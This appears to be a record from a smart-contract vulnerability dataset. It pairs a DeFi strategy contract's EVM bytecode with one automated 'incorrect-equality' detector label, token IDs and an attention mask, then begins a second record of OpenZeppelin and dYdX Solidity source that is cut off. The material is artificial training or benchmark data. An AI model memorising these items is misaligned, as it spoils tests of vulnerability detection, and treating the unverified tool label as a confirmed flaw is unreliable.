2b6020830181905273bc19712feb3a26080ebf6f2f7849b417fdd792ca93830184905290929091732260fac5e5542a773aa44fbcfedf7c193bc2c59990731f573d6fb3f13d689ff844b4ce37794d79a7ff1c907fcb2d20206d906069351c89a2cb7cdbd96c71998717cd5a82e724d955b654f67a907f8f78a54cb77f4634a5bf3dd452ed6a2e33432c73821be59208661199511cd94f9061234e906035906003614aa8565b506040805180820182526001600160a01b038916808252600080516020614c188339815191526020808401829052600092835260338152848320918352529190912061239b916002614aa8565b5060408051602080820183528482526001600160a01b038a16600090815260348252838120600080516020614c188339815191528252909152919091206123e3916001614b0d565b506040805180820182526001600160a01b038816808252600080516020614c1883398151915260208084018290526000928352603381528483209183525291909120612430916002614aa8565b5060408051602080820183528482526001600160a01b038916600090815260348252838120600080516020614c18833981519152825290915291909120612478916001614b0d565b506040805180820182526001600160a01b038716808252600080516020614c18833981519152602080840182905260009283526033815284832091835252919091206124c5916002614aa8565b5060408051602080820183528382526001600160a01b038816600090815260348252838120600080516020614c1883398151915282529091529190912061250d916001614b0d565b50604080518082018252600080516020614c1883398151915281526001600160a01b038616602080830182905260009182527f58e9934f05c179f029567a768006bc4626ef0edf3f2891d75edb1a486c863a93905291909120612571916002614aa8565b5060408051602080820183528482526001600160a01b03871660009081527ff81d8d79f42adb4c73cc3aa0c78e25d3343882d0313c0b80ece3d3a103ef1ebf909152919091206125c2916001614b0d565b5050505050505050565b6000806125d7611ea1565b158015906125eb57506125e8611ea1565b42115b8015612608575060006125fc6109e5565b6001600160a01b031614155b6126106109e5565b915091509091565b60006109b47fc403216a7704d160f6a3b5c3b149a1226a6080f0a5dd27b27d9ba9c022fa0afc612f92565b60006109b47f82b330ca72bcd6db11a26f10ce47ebcfe574a9c646bccbc6f1cd4478eae16b31612f92565b6033602052826000526040600020602052816000526040600020818154811061269357fe5b6000918252602090912001546001600160a01b0316925083915050565b6126b8612f96565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561270d57600080fd5b505afa158015612721573d6000803e3d6000fd5b505050506040513d602081101561273757600080fd5b505161277b576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b610b048161335d565b60006109b47fe3ee74fb7893020b457d8071ed1ef76ace2bf4903abd7b24d3ce312e9c72c029612f92565b6127b7612f96565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561280c57600080fd5b505afa158015612820573d6000803e3d6000fd5b505050506040513d602081101561283657600080fd5b505161287a576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b610b0481613387565b60006109b47f414478d5ad7f54ead8a3dd018bba4f8d686ba5ab5975cd376e0c98f98fb713c5612f92565b6128b6612f40565b6001600160a01b0316336001600160a01b031614806128ed57506128d8612ed3565b6001600160a01b0316336001600160a01b0316145b8061291057506128fb611d5b565b6001600160a01b0316336001600160a01b0316145b61294b5760405162461bcd60e51b8152600401808060200182810382526039815260200180614c5a6039913960400191505060405180910390fd5b6000612955611df9565b6001600160a01b03161461296b5761296b613e2c565b612973613459565b611c1261297e612f40565b612986611e4f565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156129db57600080fd5b505afa1580156129ef573d6000803e3d6000fd5b505050506040513d6020811015612a0557600080fd5b5051612a0f611e4f565b6001600160a01b0316919063ffffffff61307016565b600190565b600054610100900460ff1680612a435750612a43613135565b80612a51575060005460ff16155b612a8c5760405162461bcd60e51b815260040180806020018281038252602e815260200180614cfb602e913960400191505060405180910390fd5b600054610100900460ff16158015612ab7576000805460ff1961ff0019909116610100171660011790555b612ac082613e90565b8015612ad2576000805461ff00191690555b5050565b73f403c135812408bfbe8713b5a23a04b3d48aae3181565b60006109b47f219270253dbc530471c88a9e7c321b36afda219583431e7b6c386d2d46e70c86612f92565b612b21612f40565b6001600160a01b0316336001600160a01b03161480612b585750612b43612ed3565b6001600160a01b0316336001600160a01b0316145b80612b7b5750612b66611d5b565b6001600160a01b0316336001600160a01b0316145b612bb65760405162461bcd60e51b8152600401808060200182810382526039815260200180614c5a6039913960400191505060405180910390fd5b6000612bc0611e4f565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015612c1557600080fd5b505afa158015612c29573d6000803e3d6000fd5b505050506040513d6020811015612c3f57600080fd5b5051905080821115612c80576000612c5d838363ffffffff613f2616565b90506000612c72612c6c6130d6565b83613f68565b9050612c7d81613f7e565b50505b612ad2612c8b612f40565b83612a0f611e4f565b60006109b47fa07a20a2d463a602c2b891eb35f244624d9068572811f63d0e094072fb54591a6130c2565b612cc7612f96565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015612d1c57600080fd5b505afa158015612d30573d6000803e3d6000fd5b505050506040513d6020811015612d4657600080fd5b5051612d8a576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b611c1260006133db565b6036546001600160a01b031681565b60346020528260005260406000206020528160005260406000208181548110612dc857fe5b9060005260206000200160009250925050505481565b612de6612f96565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015612e3b57600080fd5b505afa158015612e4f573d6000803e3d6000fd5b505050506040513d6020811015612e6557600080fd5b5051612ea9576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b610b047fb487e573671f10704ed229d25cf38dda6d287a35872859d096c0395110a0adb182613df0565b6000612edd612f96565b6001600160a01b031663f77c47916040518163ffffffff1660e01b815260040160206040518083038186803b158015611d9d57600080fd5b60006109b47fdae0aafd977983cb1e78d8f638900ff361dc3c48c43118ca1dd77d1af3f47bbf612f92565b60006109b47fefd7c7d9ef1040fc87e7ad11fe15f86e1d11e1df03c6d7c87f7e1f4041f08d41612f92565b60006109b47fc26d330f887c749cb38ae7c37873ff08ac4bba7aec9113c82d48a0cf6cc145f25b5490565b7fa7ec62784904ff31cbcc32d09932a58e7f1e4476e1d041995b37c917990b16dc5490565b610b047f29f7fcd4fe2517c1963807a1ec27b0e45e67c60a874d5eeac7a0b1ab1bb8444782613df0565b60008282018381101561303f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b610b047f414c5263b05428f1be1bfa98e25407cc78dd031d0d3cd2a2e3d63b488804f22e82613df0565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610cba908490613fd8565b60006130cd82612f92565b60011492915050565b60006130e0611df9565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015611d9d57600080fd5b303b1590565b610b047fb7c50ef998211fff3420379d0bf5b8dfb0cee909d1b7d9e517f311c104675b0982613df0565b610b047f3fd729bfa2e28b7806b03a6e014729f59477b530f995be4d51defc9dad94810b82613df0565b610b047f219270253dbc530471c88a9e7c321b36afda219583431e7b6c386d2d46e70c8682613df0565b610b047f414478d5ad7f54ead8a3dd018bba4f8d686ba5ab5975cd376e0c98f98fb713c582613df0565b610b047fb306bb7adebd5a22f5e4cdf1efa00bc5f62d4f5554ef9d62c1b16327cd3ab5f982613df0565b610b047fbb60b35bae256d3c1378ff05e8d7bee588cd800739c720a107471dfa218f74c182613df0565b610b047f567ad8b67c826974a167f1a361acbef5639a3e7e02e99edbc648a84b0923d5b782614196565b610b047fa1709211eeccf8f4ad5b6700d52a1a9525b5f5ae1e9e5f9e5a0c2fc23c86e53082613df0565b610b047fefd7c7d9ef1040fc87e7ad11fe15f86e1d11e1df03c6d7c87f7e1f4041f08d4182613df0565b610b047f3d9bb16e77837e25cada0cf894835418b38e8e18fbec6cfd192eb344bebfa6b882613df0565b610b047fdae0aafd977983cb1e78d8f638900ff361dc3c48c43118ca1dd77d1af3f47bbf82613df0565b610b047fe3ee74fb7893020b457d8071ed1ef76ace2bf4903abd7b24d3ce312e9c72c02982613df0565b610b047f0286fd414602b432a8c80a0125e9a25de9bba96da9d5068c832ff73f09208a3b82613df0565b610b047f656de32df98753b07482576beb0d00a6b949ebf84c066c765f54f26725221bb682614196565b610b047fc403216a7704d160f6a3b5c3b149a1226a6080f0a5dd27b27d9ba9c022fa0afc82613df0565b610b047f82b330ca72bcd6db11a26f10ce47ebcfe574a9c646bccbc6f1cd4478eae16b3182613df0565b610b047fa07a20a2d463a602c2b891eb35f244624d9068572811f63d0e094072fb54591a82614196565b610b047f7a4b558e8ed4a66729f4a918db093413f0f1ae77c0de7c88bea8b99e084b2a1782613df0565b610b047febfe408f65547b28326a79acf512c0f9a2bf4211ece39254d7c3ec96dd3dd24282613df0565b6134616110a5565b6134ac577f408a4b113351e616bb41bad991f29bbad84b43c3810e7492a6bc7c6388dfe0c261348e6110a5565b604080519115158252600060208301528051918290030190a1611c12565b60005b6035548110156137b2576000603582815481106134c857fe5b6000918252602080832090910154604080516370a0823160e01b815230600482015290516001600160a01b03909216945084926370a0823192602480840193829003018186803b15801561351b57600080fd5b505afa15801561352f573d6000803e3d6000fd5b505050506040513d602081101561354557600080fd5b5051905080158061358757506001600160a01b0382166000908152603460209081526040808320600080516020614c1883398151915284529091529020546001115b156135935750506137aa565b60006135bf6127106135b36135a6611e24565b859063ffffffff6141b116565b9063ffffffff61420a16565b90508015613608576135e96135d2612f6b565b6001600160a01b038516908363ffffffff61307016565b6135f9828263ffffffff613f2616565b915081613608575050506137aa565b61362b6136136109ba565b6001600160a01b03851690600063ffffffff61424c16565b61364d6136366109ba565b6001600160a01b038516908463ffffffff61424c16565b6136556109ba565b6001600160a01b038481166000818152603460209081526040808320600080516020614c1883398151915280855290835281842094845260338352818420908452909152908190209051633c449dad60e01b815260048101878152600160248301819052306044840181905260a060648501908152865460a486018190529890971697633c449dad978b9793969295939492939091608482019160c401908690801561372057602002820191906000526020600020905b81548152602001906001019080831161370c575b5050838103825284818154815260200191508054801561376957602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161374b575b5050975050505050505050600060405180830381600087803b15801561378e57600080fd5b505af11580156137a2573d6000803e3d6000fd5b505050505050505b6001016134af565b50604080516370a0823160e01b81523060048201529051600091600080516020614c18833981519152916370a0823191602480820192602092909190829003018186803b15801561380257600080fd5b505afa158015613816573d6000803e3d6000fd5b505050506040513d602081101561382c57600080fd5b505190506138398161435f565b6000613843612f15565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561389857600080fd5b505afa1580156138ac573d6000803e3d6000fd5b505050506040513d60208110156138c257600080fd5b50519050806138d2575050611c12565b6138fd6138dd6109ba565b60006138e7612f15565b6001600160a01b0316919063ffffffff61424c16565b6139116139086109ba565b826138e7612f15565b6139196109ba565b600080516020614c18833981519152600090815260346020526001600160a01b039190911690633c449dad90839060019030907ff81d8d79f42adb4c73cc3aa0c78e25d3343882d0313c0b80ece3d3a103ef1ebf90613976612aee565b6001600160a01b031681526020808201929092526040016000908120600080516020614c18833981519152825260339092527f58e9934f05c179f029567a768006bc4626ef0edf3f2891d75edb1a486c863a93906139d2612aee565b6001600160a01b03166001600160a01b031681526020019081526020016000206040518663ffffffff1660e01b815260040180868152602001858152602001846001600160a01b03166001600160a01b0316815260200180602001806020018381038352858181548152602001915080548015613a6e57602002820191906000526020600020905b815481526020019060010190808311613a5a575b50508381038252848181548152602001915080548015613ab757602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311613a99575b5050975050505050505050600060405180830381600087803b158015613adc57600080fd5b505af1158015613af0573d6000803e3d6000fd5b505050506000613afe612aee565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015613b5357600080fd5b505afa158015613b67573d6000803e3d6000fd5b505050506040513d6020811015613b7d57600080fd5b505190508015610cba57610cba6144a4565b613b97612c94565b15613bd35760405162461bcd60e51b8152600401808060200182810382526034815260200180614d896034913960400191505060405180910390fd5b6000613bdd611e4f565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015613c3257600080fd5b505afa158015613c46573d6000803e3d6000fd5b505050506040513d6020811015613c5c57600080fd5b50511115611c1257611c12614827565b6000613c766130d6565b90508015613ce957613c86611df9565b6001600160a01b0316631c1c6fe560006040518263ffffffff1660e01b81526004018082151515158152602001915050600060405180830381600087803b158015613cd057600080fd5b505af1158015613ce4573d6000803e3d6000fd5b505050505b6000613cf3612883565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015613d4857600080fd5b505afa158015613d5c573d6000803e3d6000fd5b505050506040513d6020811015613d7257600080fd5b505190508015612ad25773f403c135812408bfbe8713b5a23a04b3d48aae3163958e2d31613d9e611068565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015613dd457600080fd5b505af1158015613de8573d6000803e3d6000fd5b505050505050565b9055565b7fa7ec62784904ff31cbcc32d09932a58e7f1e4476e1d041995b37c917990b16dc55565b613e226000612fbb565b611c126000613046565b6000613e366130d6565b90508015613ce957613e46611df9565b6001600160a01b0316631c1c6fe560016040518263ffffffff1660e01b81526004018082151515158152602001915050600060405180830381600087803b158015613cd057600080fd5b600054610100900460ff1680613ea95750613ea9613135565b80613eb7575060005460ff16155b613ef25760405162461bcd60e51b815260040180806020018281038252602e815260200180614cfb602e913960400191505060405180910390fd5b600054610100900460ff16158015613f1d576000805460ff1961ff0019909116610100171660011790555b612ac082613df4565b600061303f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250614970565b6000818310613f77578161303f565b5090919050565b613f86611df9565b6001600160a01b03166338d074368260006040518363ffffffff1660e01b8152600401808381526020018215151515815260200192505050600060405180830381600087803b158015613cd057600080fd5b613fea826001600160a01b0316614a07565b61403b576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106140795780518252601f19909201916020918201910161405a565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146140db576040519150601f19603f3d011682016040523d82523d6000602084013e6140e0565b606091505b509150915081614137576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156141905780806020019051602081101561415357600080fd5b50516141905760405162461bcd60e51b815260040180806020018281038252602a815260200180614d29602a913960400191505060405180910390fd5b50505050565b612ad282826141a65760006141a9565b60015b60ff16613df0565b6000826141c057506000611c78565b828202828482816141cd57fe5b041461303f5760405162461bcd60e51b8152600401808060200182810382526021815260200180614cda6021913960400191505060405180910390fd5b600061303f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614a43565b8015806142d2575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b1580156142a457600080fd5b505afa1580156142b8573d6000803e3d6000fd5b505050506040513d60208110156142ce57600080fd5b5051155b61430d5760405162461bcd60e51b8152600401808060200182810382526036815260200180614d536036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052610cba908490613fd8565b801561446257600061437d614372610989565b6135b36135a6612784565b6040805184815260208101839052428183015290519192507f33fd2845a0f10293482de360244dd4ad31ddbb4b8c4a1ded3875cf8ebfba184b919081900360600190a16143cb6138dd612ed3565b6143d6613908612ed3565b6143de612ed3565b6001600160a01b031663f706bf286143f4612f15565b836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561444457600080fd5b505af1158015614458573d6000803e3d6000fd5b5050505050610b04565b6040805160008082526020820152428183015290517f33fd2845a0f10293482de360244dd4ad31ddbb4b8c4a1ded3875cf8ebfba184b9181900360600190a150565b60006144ae612aee565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561450357600080fd5b505afa158015614517573d6000803e3d6000fd5b505050506040513d602081101561452d57600080fd5b5051905061454661453c611fc1565b60006138e7612aee565b61455a614551611fc1565b826138e7612aee565b6000614564610cd7565b6002141561462557614574614b54565b828161457e611012565b6002811061458857fe5b6020020152614595611fc1565b6001600160a01b0316630b4c7e4d82846040518363ffffffff1660e01b81526004018083600260200280838360005b838110156145dc5781810151838201526020016145c4565b5050505090500182815260200192505050600060405180830381600087803b15801561460757600080fd5b505af115801561461b573d6000803e3d6000fd5b5050505050612ad2565b61462d610cd7565b6003141561469a5761463d614b72565b8281614647611012565b6003811061465157fe5b602002015261465e611fc1565b604051634515cef360e01b8152825160049091019081526001600160a01b039190911690634515cef390839085908083606080838360206145c4565b6146a2610cd7565b60041415612ad2576146b2614b90565b82816146bc611012565b600481106146c657fe5b60200201526146d3611dce565b15614790576146e0611fc1565b6001600160a01b031663384e03db6146f6611e4f565b83856040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b0316815260200183600460200280838360005b8381101561474757818101518382015260200161472f565b505050509050018281526020019350505050600060405180830381600087803b15801561477357600080fd5b505af1158015614787573d6000803e3d6000fd5b50505050610cba565b614798611fc1565b6001600160a01b031663029b2f3482846040518363ffffffff1660e01b81526004018083600460200280838360005b838110156147df5781810151838201526020016147c7565b5050505090500182815260200192505050600060405180830381600087803b15801561480a57600080fd5b505af115801561481e573d6000803e3d6000fd5b50505050505050565b6000614831611e4f565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561488657600080fd5b505afa15801561489a573d6000803e3d6000fd5b505050506040513d60208110156148b057600080fd5b505190506148d673f403c135812408bfbe8713b5a23a04b3d48aae3160006138e7611e4f565b6148f773f403c135812408bfbe8713b5a23a04b3d48aae31826138e7611e4f565b73f403c135812408bfbe8713b5a23a04b3d48aae316360759fce614919611068565b60016040518363ffffffff1660e01b8152600401808381526020018215151515815260200192505050600060405180830381600087803b15801561495c57600080fd5b505af1158015610fda573d6000803e3d6000fd5b600081848411156149ff5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156149c45781810151838201526020016149ac565b50505050905090810190601f1680156149f15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590614a3b57508115155b949350505050565b60008183614a925760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156149c45781810151838201526020016149ac565b506000838581614a9e57fe5b0495945050505050565b828054828255906000526020600020908101928215614afd579160200282015b82811115614afd57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190614ac8565b50614b09929150614bae565b5090565b828054828255906000526020600020908101928215614b48579160200282015b82811115614b48578251825591602001919060010190614b2d565b50614b09929150614bd2565b60405180604001604052806002906020820280388339509192915050565b60405180606001604052806003906020820280388339509192915050565b60405180608001604052806004906020820280388339509192915050565b6109b791905b80821115614b095780546001600160a01b0319168155600101614bb4565b6109b791905b80821115614b095760008155600101614bd856fe5468652063616c6c6572206d75737420626520636f6e74726f6c6c6572206f7220676f7665726e616e6365000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2746f6b656e20697320646566696e6564206173206e6f742073616c76616761626c655468652073656e6465722068617320746f2062652074686520636f6e74726f6c6c65722c20676f7665726e616e63652c206f72207661756c744465706f73697420617272617920706f736974696f6e206f7574206f6620626f756e6473506f6f6c20496e666f20646f6573206e6f74206d6174636820756e6465726c79696e67536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a65645361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365416374696f6e20626c6f636b65642061732074686520737472617465677920697320696e20656d657267656e6379207374617465a265627a7a72315820448ff4564e13270173699947d3798c0a961d521f0787edac82d5a0dd4fa241e864736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 26187, 2692, 16086, 2546, 2094, 2549, 2497, 2094, 2475, 14141, 27531, 2575, 2620, 2094, 11387, 2575, 8270, 2546, 29097, 18939, 2581, 28756, 22407, 2094, 22022, 26976, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1019, 1012, 2385, 1025, 12324, 1000, 1012, 1013, 2918, 1013, 18309, 20528, 2618, 6292, 5313, 1012, 14017, 1000, 1025, 3206, 18309, 20528, 2618, 6292, 16429, 13535, 24238, 7159, 2003, 18309, 20528, 2618, 6292, 5313, 1063, 4769, 2270, 27885, 13535, 1035, 15171, 1025, 1013, 1013, 2074, 1037, 2367, 2401, 4263, 2005, 1996, 24880, 16044, 9570, 2953, 1006, 1007, 2270, 1063, 1065, 3853, 3988, 10057, 6494, 2618, 6292, 1006, 4769, 1035, 5527, 1010, 4769, 1035, 11632, 1007, 2270, 3988, 17629, 1063, 4769, 10318, 1027, 4769, 1006, 1014, 2595, 2475, 7959, 2683, 2549, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,162
0x9650b184039b89a95da2eacd003253243729c113
// File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @studydefi/money-legos/dydx/contracts/ISoloMargin.sol pragma solidity ^0.5.7; pragma experimental ABIEncoderV2; library Account { enum Status {Normal, Liquid, Vapor} struct Info { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } struct Storage { mapping(uint256 => Types.Par) balances; // Mapping from marketId to principal Status status; } } library Actions { enum ActionType { Deposit, // supply tokens Withdraw, // borrow tokens Transfer, // transfer balance between accounts Buy, // buy an amount of some token (publicly) Sell, // sell an amount of some token (publicly) Trade, // trade tokens against another account Liquidate, // liquidate an undercollateralized or expiring account Vaporize, // use excess tokens to zero-out a completely negative account Call // send arbitrary data to an address } enum AccountLayout {OnePrimary, TwoPrimary, PrimaryAndSecondary} enum MarketLayout {ZeroMarkets, OneMarket, TwoMarkets} struct ActionArgs { ActionType actionType; uint256 accountId; Types.AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } struct DepositArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address from; } struct WithdrawArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address to; } struct TransferArgs { Types.AssetAmount amount; Account.Info accountOne; Account.Info accountTwo; uint256 market; } struct BuyArgs { Types.AssetAmount amount; Account.Info account; uint256 makerMarket; uint256 takerMarket; address exchangeWrapper; bytes orderData; } struct SellArgs { Types.AssetAmount amount; Account.Info account; uint256 takerMarket; uint256 makerMarket; address exchangeWrapper; bytes orderData; } struct TradeArgs { Types.AssetAmount amount; Account.Info takerAccount; Account.Info makerAccount; uint256 inputMarket; uint256 outputMarket; address autoTrader; bytes tradeData; } struct LiquidateArgs { Types.AssetAmount amount; Account.Info solidAccount; 